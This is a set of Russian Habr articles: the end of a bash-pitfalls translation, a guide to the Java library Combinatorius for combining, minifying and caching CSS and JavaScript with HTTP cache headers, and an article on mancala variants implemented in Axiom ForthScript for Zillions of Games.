Обратите внимание, что мы отбрасываем стандартный вывод `grep`: нам не нужен результат поиска, мы просто хотим знать, присутствует ли строка в файле. Если `grep` находит строку, он возвращает 0, и условие выполняется; в противном случае (строка в файле отсутствует) `grep` возвращает значение, отличное от 0. В GNU grep перенаправление `>/dev/null` можно заменить опцией `-q`, которая говорит `grep`'у, что ничего выводить не нужно.
### 9. if [bar="$foo"]
Как было объяснено в предыдущем параграфе, `[` — это команда. Как и в случае любой другой команды, bash предполагает, что после команды следует пробел, затем первый аргумент, затем снова пробел, и т.д. Поэтому нельзя писать всё подряд без пробелов! Правильно вот так:
```
if [ bar = "$foo" ]
```
`bar`, `=`, `"$foo"` (после подстановки, но без разделения на слова) и `]` являются аргументами команды `[`, поэтому между каждой парой аргументов обязательно должен присутствовать пробел, чтобы шелл мог определить, где какой аргумент начинается и заканчивается.
### 10. if [ [ a = b ] && [ c = d ] ]
Снова та же ошибка. `[` — команда, а не синтаксический элемент между `if` и условием, и тем более не средство группировки. Вы не можете взять синтаксис C и переделать его в синтаксис bash простой заменой круглых скобок на квадратные.
Если вы хотите реализовать сложное условие, вот правильный способ:
```
if [ a = b ] && [ c = d ]
```
Заметьте, что здесь у нас две команды после if, объединённые оператором &&. Этот код эквивалентент такой команде:
```
if test a = b && test c = d
```
Если первая команда test возвращает значение `false` (любое ненулевое число), тело условия пропускается. Если она возвращает `true`, выполняется второе условие; если и оно возвращает `true`, то выполняется тело условия.
**Продолжение следует.**
Первая публикация этого перевода происходила [на страницах моего блога](http://bappoy.pp.ru/tag/bash-pitfalls). | https://habr.com/ru/post/47706/ | null | ru | null |
# Java библиотека для эффективной передачи CSS и JavaScript
В данной статье описывается способ передачи JavaScript и CSS методом соединения ресурсов, с последующими их минимизацией и сжатием, при помощи небольшой Java библиотеки «Combinatorius», что позволяет ускорить и упростить передачу контента.
Демо: [combinatorius.dkiriusin.com](http://combinatorius.dkiriusin.com/)
GitHub: [github.com/deniskiriusin/combinatorius](https://github.com/deniskiriusin/combinatorius)
Основные возможности библиотеки
===============================
1. Соединение JavaScript и CSS в один JavaScript и CSS ресурс соответственно для сокращения количества HTTP запросов.
2. Локальное кэширование сгенерированных данных для улучшения времени отклика.
3. Правильные Expires и Cache-Control HTTP заголовки для помощи браузеру с условными запросами.
4. Поддержка ETag для определения соответствия между кэшем браузера с данными на сервере.
5. Сжатие методом gzip для уменьшения размера HTTP ответа.
6. Поддержка YUI Compressor.
7. Поддержка версий передаваемых ресурсов (fingerprinting & static resources versioning).
8. Поддержка CSS тем через параметры URL или Cookies.
9. Простая конфигурация.
Краткий анализ
==============
Скорость загрузки Интернет страницы зависит от многих факторов о некоторых из которых необходимо знать Веб-разработчикам.
Мы не будем обсуждать скорость предоставляемую Интернет провайдером, DNS настройки или географическое расположение ресурса, а сфокусируемся на HTTP протоколе и тех его методах которые мы можем использовать для ускорения передачи CSS и JavaScript контента.
Итак, основными факторами влияющими на скорость загрузки страницы являются:
— Размер передаваемого контента
— Количество HTTP запросов
Соответственно, наша цель — уменьшить размер передаваемого контента и количество запросов к серверу до минимума.
### Проблема 1: Размер передаваемого контента
Рассмотрим что происходит во время загрузки страницы. Современные Интернет-ресурсы с богатым пользовательским интерфейсом посылают десятки а порой и сотни HTTP запросов для загрузки контента. Многие из них приходятся на CSS и JavaScript. Общий вес передаваемого CSS и JavaScript как правило составляет несколько сотен килобайт и более. Уменьшить объём передаваемого контента можно при помощи его минимизации и сжатия.
Минимизация — это процесс, задача которого уменьшение скрипта при сохранении его функциональности. Достигается это посредством удаления из скрипта комментариев, пробелов а так же сокращением имён переменных.
Библиотека полностью поддерживает [YUI Compressor](http://yui.github.io/yuicompressor/) для минимизации CSS/JavaScript и gzip для сжатия данных, что способно уменьшить общий вес передаваемого CSS и JavaScript в разы. По умолчанию библиотека не минимизирует ресурсы, имена которых содержат суффикс ".min.".
```
prop.YUI.OmitFilesFromMinificationRegEx = .*\\.min\\.(js|css)$
```
Регулярное выражение можно изменить в `combinatorius.properties`.
Так как сжатие данных — ресурсоемкий процесс, то конечные данные кэшируются как на стороне сервера так и клиента, и предоставляются напрямую из кэша при последующих запросах. В случае изменения CSS и JavaScript, данные минимизируются, сжимаются и кэшируются заново.
### Проблема 2: Количество HTTP запросов
Нам нужно что бы клиент посылал всего два запроса в независимости от количества CSS и JavaScript ресурсов на странице. По одному на CSS и JavaScript соответственно. Поглядим в чем выгода такого подхода.
Как гласит RFC 2616, HTTP запрос должен соответствовать формату:
```
Request = Request-Line
*(( general-header
| request-header
| entity-header ) CRLF)
CRLF
[ message-body ]
```
В реальной жизни это будет выглядеть приблизительно так:
```
GET /Protocols/rfc2616/rfc2616-sec5.html HTTP/1.1
Host: www.w3.org
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36
HTTPS: 1
Referer: https://www.google.ie/
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: _ga=GA1.2.587820689.1448903370; JSESSIONID=00002Fn37WPDiDzeIspqmDaEY1J:-1; web_vid=1140991966240108
```
Исходя из того же RFC 2616, формат HTTP ответа следующий:
```
Response = Status-Line
*(( general-header
| response-header
| entity-header ) CRLF)
CRLF
[ message-body ]
```
Chrome DevTools нам покажет что-нибудь вроде:
```
HTTP/1.1 200 OK
Date: Tue, 12 Apr 2016 15:56:01 GMT
Last-Modified: Thu, 18 Feb 2016 10:16:05 GMT
ETag: "19982-52c08a77e8340"
Accept-Ranges: bytes
Content-Length: 104834
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Content-Type: text/css
X-Pad: avoid browser bug
```
Размер HTTP заголовков может варьироваться от 200 байт до 2KB и более, принимая во внимание Cookies.
Забавно, но больше всего приходится платить за мелочи. К примеру, создав страницу с десятью статическими ресурсами, каждый размером в один байт, браузеру придётся послать и получить в ответ несколько килобайт одних только HTTP заголовков что бы скачать 10 байт полезных данных.
Но основная проблема даже не в этом, а в том что — запросы медленные. Современные браузеры многопоточны и стараются изо всех сил, но так или иначе почти на каждый HTTP запрос необходимо определить DNS, создать соединение с сервером, затем SSL рукопожатия, в случае HTTPS… И только после этого мы можем получить HTTP ответ с сервера. На все это уходит время, и чем больше запросов тем больше времени уходит на загрузку страницы.
К счастью, HTTP заголовки могут быть крайне полезны, и библиотека умело расставляет их что бы максимально ускорить скорость загрузки CSS и JavaScript.
#### Cache-Control (HTTP/1.1)
Директивы заголовка Cache-Control определяют кто может кэшировать HTTP ответ, на каких условиях и как долго. Лучше всего не посылать запрос вовсе, а сохранять копию ответа в кэше браузера и брать его оттуда да бы не общаться с сервером. Это устраняет необходимость платить за передачу данных по сети.
Так директива «max-age» определяет максимальное время в секундах в течении которого полученный ответ может быть повторно использован из кэша браузера. Библиотека кэширует данные на один год по умолчанию.
```
Cache-Control: public, s-maxage=31536000, max-age=31536000
```
Изменить конфигурацию можно в `combinatorius.properties`.
#### Expires (HTTP/1.0)
Данный заголовок по сути является аналогом Cache-Control, вытиснявшим его в HTTP/1.1. Expires так же определяет на сколько долго данные могут кэшироваться на стороне клиента. Библиотека устанавливает Expires на один год вперёд по умолчанию.
```
Expires: Thu, 15 Apr 2017 22:00:00 GMT
```
Изменить конфигурацию можно в `combinatorius.properties`.
#### ETag (HTTP/1.1)
Обеспечивает проверку кэша и позволяет клиенту послать условный запрос. Это позволяет кэшу быть более эффективным, так как веб-серверу не нужно отправлять полный ответ, если содержимое не изменилось. Библиотека использует ETag аналогично использованию отпечатков пальцев. Так например, нет необходимости изменять имена CSS и JavaScript ресурсов, после внесения в них изменений, при долгом кэшировании. Библиотека автоматически распознаёт изменения внесённые в CSS и JavaScript. Данные автоматически минимизируются если нужно, сжимаются, помещаются в кэш и доставляются клиенту со всеми необходимыми заголовками.
Руководство по использованию
============================
Библиотека доступна из центрального репозитория.
```
com.dkiriusin
combinatorius
1.0.60
com.yahoo.platform.yui
yuicompressor
2.4.8
```
Регистрируем сервлет в `web.xml`.
```
Combinatorius
com.dkiriusin.combinatorius.CombinatoriusServlet
0
Combinatorius
/combo/\*
```
, отныне все запросы к `/combo/*` будут обрабатываться библиотекой.
Все что нужно далее — создать файл `combinatorius.properties` и поместить его в Classpath.
На примере Tomcat добиться этого можно изменив `common.loader` в `catalina.properties` и добавив в него путь к `combinatorius.properties`. В моем случае (Ubuntu 12.04 LTS):
```
view /etc/tomcat7/catalina.properties
```
До:
```
common.loader=${catalina.base}/lib,${catalina.base}/lib/*.jar,${catalina.home}/lib,${catalina.home}/lib/*.jar,/var/lib/tomcat7/common/classes,/var/lib/tomcat7/common/*.jar
```
После:
```
common.loader=${catalina.base}/lib,${catalina.base}/lib/*.jar,${catalina.home}/lib,${catalina.home}/lib/*.jar,/var/lib/tomcat7/common/classes,/var/lib/tomcat7/common/*.jar,${catalina.base}/combinatorius-conf
```
Соответственно создаём директорию:
```
mkdir /var/lib/tomcat7/combinatorius-conf
```
И копируем в неё `combinatorius.properties.`
**combinatorius.properties**
```
#---------------------#
# required properties #
#---------------------#
# root CSS directory
prop.css.dir = /var/lib/tomcat7/webapps/my_project/css
# cached CSS directory
prop.css.cache.dir = /var/lib/tomcat7/webapps/my_project/css_cache
# root JS directory
prop.js.dir = /var/lib/tomcat7/webapps/my_project/js
# cached JS directory
prop.js.cache.dir = /var/lib/tomcat7/webapps/my_project/js_cache
#---------------------#
# optional properties #
#---------------------#
# themes root directory
prop.themes.dir = /var/lib/tomcat7/webapps/my_project/themes
# Cache-Control: s-maxage directive (31536000 by default)
prop.s-maxage = 31536000
# Cache-Control: max-age directive (31536000 by default)
prop.max-age = 31536000
# Enables gzip compression (true by default)
prop.isCompressionEnabled = true
# Enables YUI compressor (true by default)
prop.isYUICompressorEnabled = true
# Insert line breaks in output after the specified column number (-1 by default)
prop.YUI.CSSCompressor.linebreakpos = -1
# Splits long lines after a specific column (100 by default)
prop.YUI.JavaScriptCompressor.linebreak = 100
# Minify only, do not obfuscate (false by default)
prop.YUI.JavaScriptCompressor.nomunge = false
# verbose output (false by default)
prop.YUI.JavaScriptCompressor.verbose = false
# Preserve unnecessary semicolons (such as right before a '}') (false by default)
prop.YUI.JavaScriptCompressor.preserveAllSemiColons = true
# Disable all the built-in micro optimizations (true by default)
prop.YUI.JavaScriptCompressor.disableOptimisations = true
# Define files to be omitted of minification ('.*\.min\.(js|css)$' by default)
prop.YUI.OmitFilesFromMinificationRegEx = .*\.min\.(js|css)$
```
Библиотека работает с CSS и JavaScript ресурсами в `prop.css.dir` и `prop.js.dir` директориях, а так же их суб-директориях. CSS и JavaScript файлы рекурсивно считываются в алфавитном порядке, минимизируются, сжимаются и отправляются клиенту. Минимизированные данные кэшируются на стороне сервера в директориях `prop.css.cache.dir` и `prop.js.cache.dir`.
Ресурсы соответствующие регулярному выражению `prop.YUI.OmitFilesFromMinificationRegEx` не минимизируются.
#### CSS темы
Так же предусмотрена поддержка CSS тем. CSS тема представляет из себя `prop.themes.dir` суб-директорию с одним или более CSS файлами. Например `prop.themes.dir/green/theme.css`. Имя темы должно совпадать с именем суб-директории и может передаваться библиотеке в виде URL параметра `theme` или как значение `combinatorius.theme` в Cookies.
#### Подключение дополнительных ресурсов
Возможно подключение дополнительных ресурсов, не входящих в `prop.css.dir` и `prop.js.dir`. Такая необходимость может возникнуть в случае если скрипт используется редко (на одной-двух страницах в проекте) и не должен быть включён в «сборку» по умолчанию. Передать дополнительные ресурсы можно при помощи URL параметра `resources`.
```
/combinatorius/combo/&type=js&resources=extra_js/extra1.js,extra_js/extra2.js&theme=blue
```
#### JSP Тег
Для простоты и надежности рекомендую использовать JSP тег для генерации URL. По одному тегу на CSS и JavaScript соответственно. Обязательными атрибутами являются `type` и `path`.
```
<%@ taglib uri="https://github.com/deniskiriusin/combinatorius" prefix="cb" %>
blue
extra\_css/extra1.css,extra\_css/extra2.css
```
Использование JSP тега имеет одно важное преимущество. Тег автоматически подписывает ресурсы, добавляя версию в конце URL для решения проблем связанных с опустошением кэша при агрессивном кэшировании (cache busting).
```
/combinatorius/combo/&type=js&v=1465737376000
```
Ссылки для чтения:
[developer.yahoo.com/performance/rules.html](https://developer.yahoo.com/performance/rules.html)
[developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/?hl=en](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/?hl=en) | https://habr.com/ru/post/303840/ | null | ru | null |
# Несколько хороших манкал
***Хотя этикетка была не того цвета и содержала немало орфографических ошибок, большая ее часть находилась на месте, включая сделанную крошечным шрифтом надпись «Может содержать орехи».
сэр Терри Пратчетт***
[Го](http://geektimes.ru/post/241844/) или [Ур](http://habrahabr.ru/post/224661/)? Можно долго спорить, какая из игр древнее, но победит, в этом противостоянии, скорее всего, [Манкала](http://geektimes.ru/post/253456/). Археологи предпочитают иметь дело с материальными свидетельствами, но как только речь заходит о настольных играх, всё быстро уходит в область предположений. Было найдено немало досок, но гораздо меньше сведений о том, как на них играть. Древние не утруждали себя детальным описанием правил.
С Манкалой ситуация прямо противоположная. Это не одна игра, а весьма многочисленное семейство. В одной только [Западной Африке](http://skyruk.livejournal.com/410114.html), счёт идёт на десятки (если не на сотни) разновидностей. Доска (как материальный артефакт) для таких игр не обязательна. Достаточно взять пригоршню камушков и выкопать несколько ямок в песке. Не удивительно, что археологи испытывают затруднения с определением возраста этих игр. Им попросту нечего искать! Но для внимательного исследователя «настольных игр», манкалы не менее интересны, чем птицы семейства [пересмешниковых](https://ru.wikipedia.org/wiki/%D0%9F%D0%B5%D1%80%D0%B5%D1%81%D0%BC%D0%B5%D1%88%D0%BD%D0%B8%D0%BA%D0%BE%D0%B2%D1%8B%D0%B5) для [Чарлза Дарвина](https://ru.wikipedia.org/wiki/%D0%94%D0%B0%D1%80%D0%B2%D0%B8%D0%BD,_%D0%A7%D0%B0%D1%80%D0%BB%D0%B7#.D0.9F.D1.83.D1.82.D0.B5.D1.88.D0.B5.D1.81.D1.82.D0.B2.D0.B8.D0.B5_.D0.BD.D0.B0.D1.82.D1.83.D1.80.D0.B0.D0.BB.D0.B8.D1.81.D1.82.D0.B0_.D0.BD.D0.B0_.D0.BA.D0.BE.D1.80.D0.B0.D0.B1.D0.BB.D0.B5_.C2.AB.D0.91.D0.B8.D0.B3.D0.BB.D1.8C.C2.BB_.281831.E2.80.941836.29).
На сегодняшний день, в каталоге [Zillions of Games](http://www.zillions-of-games.com/) содержится более двух тысяч [приложений](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi). Нельзя сказать, чтобы среди них совсем не было манкал. Во всяком случае, [двурядные](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=227) и [четырёхрядные](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=1004) варианты игр представлены весьма основательно. Вот такой набор игр предоставляется всего лишь одним из приложений:
Это действительно достойный список, но, как я уже писал выше, количество манкал исчисляется сотнями, а здесь представлены, скажем так, наиболее привычные из них. Существуют куда более удивительные и замечательные разновидности этой игры. И сейчас я хочу ими заняться! Но для начала, стоит составить небольшой словарик терминов, для того, чтобы люди, не знакомые с предметом, имели хоть какие-то шансы в нём разобраться.
**Словарик*** **посев** — У большинства народов, практикующих их, манкалы символизируют привычную сельскохозяйственную деятельность. Метафора «посева» объединяет все эти игры. Выполняя ход, игрок забирает **все** камни из одной из своих лунок и начинает раскладывать их **по одному**, по всем следующим лункам, в одном из направлений, разрешённых правилами. Существуют различные пословицы и поговорки, связывающие тактику игры с сельскохозяйственными понятиями, аналогичные русскому варианту «что посеешь, то и пожнёшь».
* **однократный посев** — В большом количестве вариантов игры, «посев» выполняется «однократно». После того как игрок раскладывает последний из взятых камней (не важно, в пустую или заполненную лунку), ход переходит другому игроку. Существуют различные варианты «посева», затрудняющие расчёт в игре. Например, посев может начинаться не со следующей лунки, а с текущей (то есть, один камень просто остаётся в лунке) или стартовая лунка может пропускаться при посеве, если взятое число камней достаточно для того, чтобы сделать один или несколько кругов, обойдя все лунки.
* **циклический посев** — Более сложная разновидность хода. Ход начинается также как и «однократный посев», но, если игрок выкладывает последний камень в заполненную лунку, он немедленно забирает из неё все камни (включая добавленный последним) и продолжает посев со следующей лунки. Ход заканчивается когда последний камень падает в пустую лунку.
* **бесконечный посев** — Как легко догадаться, выполняя «циклический посев», игрок вполне может «зациклиться». Игрок не сможет завершить ход, поскольку последний камень никогда не будет попадать в пустую лунку. Такая ситуация называется «бесконечным посевом» и реакция на неё регламентируется правилами конкретной игры. Обычно, при возникновении «бесконечного посева», партия считается не сыгранной либо переигрывается.
* **захват** — Цель почти любой манкалы (есть несколько исключений) — захват максимального количества камней. Правила, позволяющие перекладывать камни с доски в свой «амбар», существенно различаются, в зависимости от варианта игры. В двурядных манкалах, правила захвата часто связаны с количеством камней в финальной лунке (например, в "[Тогыз Кумалак](http://www.iggamecenter.com/info/ru/toguzkumalak.html)", захват выполняется, если после добавления последнего камня посева число камней в лунке стало чётным). В четырёхрядных манкалах, поскольку посев идёт лишь по своей территории, захват «позиционный» (в [Chuba](http://mancala.wikia.com/wiki/Chuba), если последний камень упал в пустую лунку внутреннего ряда, захватываются все камни из противостоящей лунки во внутреннем ряду противника, а также камни из следующей за ней лунки внешнего ряда, если они там есть).
* **серийный захват** — Часто, захват осуществляется сразу из нескольких лунок. Так например, в [Вари](https://ru.wikipedia.org/wiki/%D0%92%D0%B0%D1%80%D0%B8_(%D0%B8%D0%B3%D1%80%D0%B0)), игрок захватывает камни, если в последней лунке посева оказалось 2 или 3 камня. Если в предыдущих (по направлению посева) лунках противника также оказалось по 2 или 3 камня, они захватываются тоже!
* **полный захват** — В большинстве манкал, игрок не сможет выполнить ход, оставшись без камней. Часто, в таких случаях, игра завершается. Все камни, оставшиеся на территории противника, перекладываются в его амбар, после чего подсчитываются. Это вполне нормальное завершение игры, но, чтобы игра была более интересной, вводятся правила, целью которых является увеличение продолжительности игры. Например, правилами может быть запрещено выполнение ходов, приводящих к захвату всех оставшихся камней на территории противника, так называемому «полному захвату».
* **правило «голода»** — Другая сторона той же монеты. Если противник остался без камней на своей стороне, игрок обязан «подкормить» его, подкинув на чужую территорию хотя бы один камень. Если такой ход невозможен — игра заканчивается. Это один из примеров очень редкой для манкал разновидности **форсированных** ходов, аналогичных обязательному взятию в [Шашках](https://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D1%88%D0%BA%D0%B8) или уходу из под [шаха](https://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D1%85_(%D1%88%D0%B0%D1%85%D0%BC%D0%B0%D1%82%D1%8B)) в [Шахматах](https://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D1%85%D0%BC%D0%B0%D1%82%D1%8B).
* **нулевой посев** — Во многих случаях, первый игрок имеет преимущество. Чтобы решить эту проблему (а также сломать всевозможные дебютные «домашние заготовки»), в некоторых манкалах, при выполнении первого хода захват не выполняется. Цель этого «нулевого» прогона — рандомизация позиции на доске. Часто, для экономии времени, игроки выполняют «нулевой посев» одновременно. В этих случаях он служит и для определения очерёдности хода. Игрок, завершивший посев первым, делает первый ход.
* **коми** — Этот термин пришёл из [Го](https://ru.wikipedia.org/wiki/%D0%93%D0%BE) и является ещё одним способом компенсации преимущества первого игрока. Второй игрок, ещё до начала игры, получает некоторое оговоренное количество очков (как правило дробное, чтобы исключить возможность ничьих). В Го и некоторых современных манкалах такой подход активно используется.
* **сэнтэ и готэ** — Ещё два понятия из Го. Сэнтэ — это ход, на который противник вынужден ответить, а готэ — напротив, вынужденный ход. Некоторые современные манкалы оперируют этими терминами, хотя и понимают их несколько по своему.
* **правило «пинг-понга»** — В [Алемунгула](http://skyruk.livejournal.com/390575.html) возможна ситуация, при которой игроки будут иметь возможность, ход за ходом, перекидывать друг другу один и тот же камень. Правило «пинг-понга» запрещает подобное повторение позиции. По аналогии с предыдущими терминами, его следовало бы назвать "[Правилом Ко](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D0%BE_%D0%BA%D0%BE)", но, по всей видимости, жители Эфиопии были слабо знакомы с японской игрой.
#### **Tchuka Ruma**
Начать я решил с простого. [Чука Рума](http://skyruk.livejournal.com/311958.html) не является традиционной игрой (в том смысле, что лет ей не 5000, а всего 120), но по правилам весьма сходна с [Даконом](http://skyruk.livejournal.com/342579.html), широко распространённым на территории Индонезии. За исключением того что Чука Рума рассчитана на игру **одного** человека. Да, это единственная известная мне манкала-пасьянс. Вот как она выглядит:
Требуется перенести все камни в «амбар» (крайнюю правую лунку), соблюдая следующие правила:
* В начале игры, можно взять **все** камни из любой лунки (кроме «амбара») и выполнить **циклический посев**, раскладывая камни слева-направо и переходя от «амбара» к крайней левой лунке.
* Если последний камень падает в «амбар», игрок получает право повторить ход, вновь выбрав любую не пустую лунку, кроме «амбара» (именно это правило роднит «Чука Руму» с манкалами семейства «Чонгкак» и «Дакон»).
* Если **циклический посев** завершён в любой другой лунке — игрок проигрывает (пасьянс не сошёлся).
Эта замечательная «гимнастика для ума» впервые (в 1895 году) была описана французским математиком Анри-Огюстом Деланнуа в переписке с его коллегой Эдуардом Лукасом. Любое сходство с «Даконом» не случайно, так как, по всей видимости, именно эту игру Анри-Огюст использовал в качестве прототипа.
**Самый ''простой'' посев**В принципе, никто не мешает использовать для разработки манкал «штатный» ZRF. Кучки камней представляются отдельными фигурами (по числу камней) и вся задача «посева» заключается в правильном изменении типа нескольких фигур, за один ход (ZSG-нотация становится совершенно нечитаемой, но читать её никто и не собирается). Это было бы почти так же просто как [рокировка](https://ru.wikipedia.org/wiki/%D0%A0%D0%BE%D0%BA%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0), если бы не один фатальный недостаток ZRF. В нём напрочь отсутствует какая либо арифметика!
**Код на нём действительно кошмарен**
```
(define AB if (piece? $1) (change-type $2) else)
(define OC (set-position-flag occ true))
(define ABC
((AB $1 $2) ((AB $3 $4) ((AB $5 $6) ((AB $7 $8)
((AB $9 $10) ((AB $11 $12) ((AB $13 $14) ((AB $15 $16)
((AB $17 $18) ((AB $19 $20) ((AB $21 $22) ((AB $23 $24)
((AB $25 $26) ((AB $27 $28) ((AB $29 $30) ((AB $31 $32)
((AB $33 $34) ((AB $35 $36) ((AB $37 $38) ((AB $39 $40)
((AB $41 $42) ((AB $43 $44) ((AB $45 $46) ((AB $47 $48)
((AB $49 $50) ((AB $51 $52) ((AB $53 $54) ((AB $55 $56)
((AB $57 $58) ((AB $59 $60) ((AB $61 $62) ((AB $63 $64)
((AB $65 $66) ((AB $67 $68) ((AB $69 $70) ((AB $71 $72)
(set-flag emu true)))))))))))))))))))))))))))))))))))))
)
(define sow-in-store cascade (while not-empty? e) to (OC) (go from))
(define sow-in-store2
cascade (while not-empty? e)
cascade e to (while (not-in-zone? store) (opposite e))
)
(define sow-in-store3
cascade (while not-empty? e)
cascade e cascade e to (while (not-in-zone? store) (opposite e))
)
...
```
Это часть реализации [Калаха](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=226) и продраться через все её макросы действительно не просто. Я решил не мучать свой мозг и задействовать [Axiom](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=1452). Используемый ей, в качестве скриптового языка, **ForthScript** конечно придаёт процессу программирования некоторую пикантность. Но в нём можно складывать числа!
**Начнём с определения фигур**
```
DEFER MARK
...
{pieces
{piece} m
{piece} p1 1 {value}
{piece} p2 2 {value}
...
pieces}
...
' m IS MARK
```
Фигура **m** — фиктивная. От неё будет выполняться «отсчёт» при построении всех остальных фигур. Псевдоним **MARK** позволит на неё ссылаться из вышележащего кода. Числовое значение — количество камней в «кучке» и, по совместительству, вес «фигуры», используемый AI Axiom (для «Чука Румы» этот вопрос не особенно актуален, но в играх двух игроков будет иметь первостепенную важность).
**Добавим движущиеся фигуры**
```
: get-value ( -- value )
empty? IF ( Если поле пусто )
0 ( Возвращаем 0 )
ELSE ( иначе )
piece piece-value ( Достаём значение value из описания фигуры )
ENDIF
;
: move-q ( -- )
get-value stone-count ! ( Сохраняем количество камней в переменную )
next verify ( Перемещаемся в следующую лунку )
from here move ( Переносим фигуру с её начального положения в текущее )
build-trace ( Рассчитываем изменения всех фигур )
from to ( Возвращаемся в исходную точку )
use-trace ( Применяем все рассчитанные изменения ... )
add-move ( и завершаем генерацию хода )
;
{moves q-moves
{move} move-q
moves}
{pieces
...
{piece} q1 {moves} q-moves 1 {value}
{piece} q2 {moves} q-moves 2 {value}
{piece} q3 {moves} q-moves 3 {value}
...
pieces}
```
Здесь есть две «тёмных лошадки» — **build-trace** и **use-trace**, далее мы рассмотрим их базовую реализацию. Оставшаяся часть **move-q** связана с «перемещением» фигуры. Дело в том, что любой ход в ZoG должен быть связан с одним из двух возможных действий: перемещением фигуры с одной позиции доски на другую (**move**) или добавлением новой фигуры на доску (**drop**). Соответственно, одно из этих управляющих слов должно быть задействовано и в описании хода. Все остальные (побочные) действия **должны** выполняться после этого (основного) действия.
**Рассчитаем ''трассу''**
```
COLS [] trace[]
VARIABLE trace-count
VARIABLE stone-count
: build-trace ( -- )
0 trace-count ! ( На всякий случай, "очищаем" массив )
0 BEGIN ( и начинаем цикл )
DUP COLS >= IF ( Если оказалось, что мы обошли вокруг доски )
DROP 0 ( Зацикливаем массив, его длина не должна превышать количества лунок )
ENDIF
DUP trace-count @ < IF ( Если мы уже вычисляли число камней в этой лунке )
DUP trace[] @ ( Достаём ранее вычисленное значение )
ELSE ( иначе )
trace-count ++ ( Увеличиваем размер массива )
from here <> IF ( и если это не исходная лунка )
get-value ( Достаём из неё количество камней )
ELSE
0 ( Исходная лунка первоначально пуста, мы "вынули" из неё камни )
ENDIF
ENDIF
1+ OVER trace[] ! ( Добавляем один камень )
stone-count -- ( Уменьшаем количество оставшихся камней )
stone-count @ 0= IF ( И если камни кончились ... )
TRUE ( Завершаем цикл )
ELSE ( иначе )
1+ next verify ( Двигаемся по доске дальше )
FALSE ( и НЕ завершаем цикл )
ENDIF
UNTIL ( Цикл завершается, если на верхушке стека TRUE )
... ( Здесь удобное место для всякой "магии" )
DROP
;
```
Все изменения рассчитаны, осталось их применить!
**И изменим все фигуры, попавшие под раздачу**
```
: use-trace ( -- )
0 BEGIN ( Перебираем все элементы массива )
next verify ( Двигаясь в направлении посева )
DUP trace[] @ ( Вынимаем из массива количество камней )
MARK + create-piece-type ( И создаём фигуру соответвующего типа, добавляя его к MARK )
1+ DUP trace-count @ >= ( Если конец массива - завершаем цикл )
UNTIL DROP ( Не забываем следить за стеком ! )
;
```
Ну вот, мы научились брать камни из лунки и раскладывать их по одному, в направлении посева. В том или ином виде, этот код будет использован во всех сегодняшних манкалах. Разумеется, реальный код [немного сложнее](https://github.com/GlukKazan/ZoG/blob/master/Axiom/TchukaRuma/Pieces.4th). Например, приходится «подсвечивать» те группы камней, ходить которыми разрешено (иначе сходить ими не удастся) и снимать подсветку с остальных групп. При попадании в «амбар», необходимо помечать все группы, оставшиеся на доске. И разумеется, необходимо написать [код](https://github.com/GlukKazan/ZoG/blob/master/Axiom/TchukaRuma/AI.4th), определяющий условия завершения игры. Куча мелочей, без которых ничего работать не будет!
Вот что получилось в итоге:
Надо сказать, что AI [Axiom](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=1452) щелкает такие задачки «как орешки». Исходный расклад (по два камня в четырёх лунках) [ZoG](http://www.zillions-of-games.com/) решила на минимальных настройках «продолжительности хода». Для более сложных раскладов, настройки пришлось «подкрутить», поскольку, в противном случае, программа попадала в тупик. В процессе тестирования, был найден ещё один «решаемый» расклад, [для любителей «поломать голову»](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=2443).
#### **Ohojitxi**
В [эту](http://skyruk.livejournal.com/396880.html) весьма оригинальную манкалу играют в республике Кот-д’Ивуар. Внешне, она выглядит как обычная двурядная манкала, с шестью лунками на каждой стороне, но поскольку при игре доска располагается «вертикально», её более уместно причислять не к двурядным, а к «шестирядным» манкалам. **Посев однократный**, против часовой стрелки и только на своей территории — в трёх рядах, обращённых к игроку.
На этом неожиданности не заканчиваются! Цель игры — не захват камней противника, а избавление от своих собственных. Захваченные камни передаются противнику (помещаются в одну из его лунок). Кто первый избавится от всех своих камней — тот и победил. **Захват серийный**, если последний камень падает в лунку с тремя камнями (дополняя их до четырёх) — камни захватываются. Вместе с ними захватываются камни из всех предыдущих (против направления посева) лунок, содержащих четыре камня. Если бы первоначально все 24 камня находились в одной лунке, игру можно было бы завершить за один ход!
В общем, игра довольно забавная. На первый взгляд, она не сильно отличается от предыдущего пасьянса (поскольку посев всегда ведётся лишь на своей территории), но если противник успеет «собрать четвёрку» раньше вас, будьте уверены, он постарается выбрать лунку таким образом, чтобы максимально расстроить все ваши планы (и всё придётся начинать сначала). Единственное ограничение заключается в том, что он не может каждый раз выбирать одну и ту же лунку.
**Как важно быть внимательным**Доска в Axiom — это один большой линейный массив. Серьёзно, мы можем просто начать с нуля и перебрать все позиции, добавляя к индексу единичку. Поскольку, в реальной жизни, редко встречаются одномерные доски (редко, но [встречаются](http://www.zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?do=show;id=1525)), Axiom заботится о нас, предоставляя средство для определения досок «двумерных»:
```
2 CONSTANT COLS
6 CONSTANT ROWS
{board
ROWS COLS {grid}
board}
```
На самом деле, это всё тот же одномерный массив, ячейки которого поименованы забавным образом (ещё он позволяет определять «направления», оперируя приращениями координат, а не парами позиций, но это нам сейчас не понадобится):
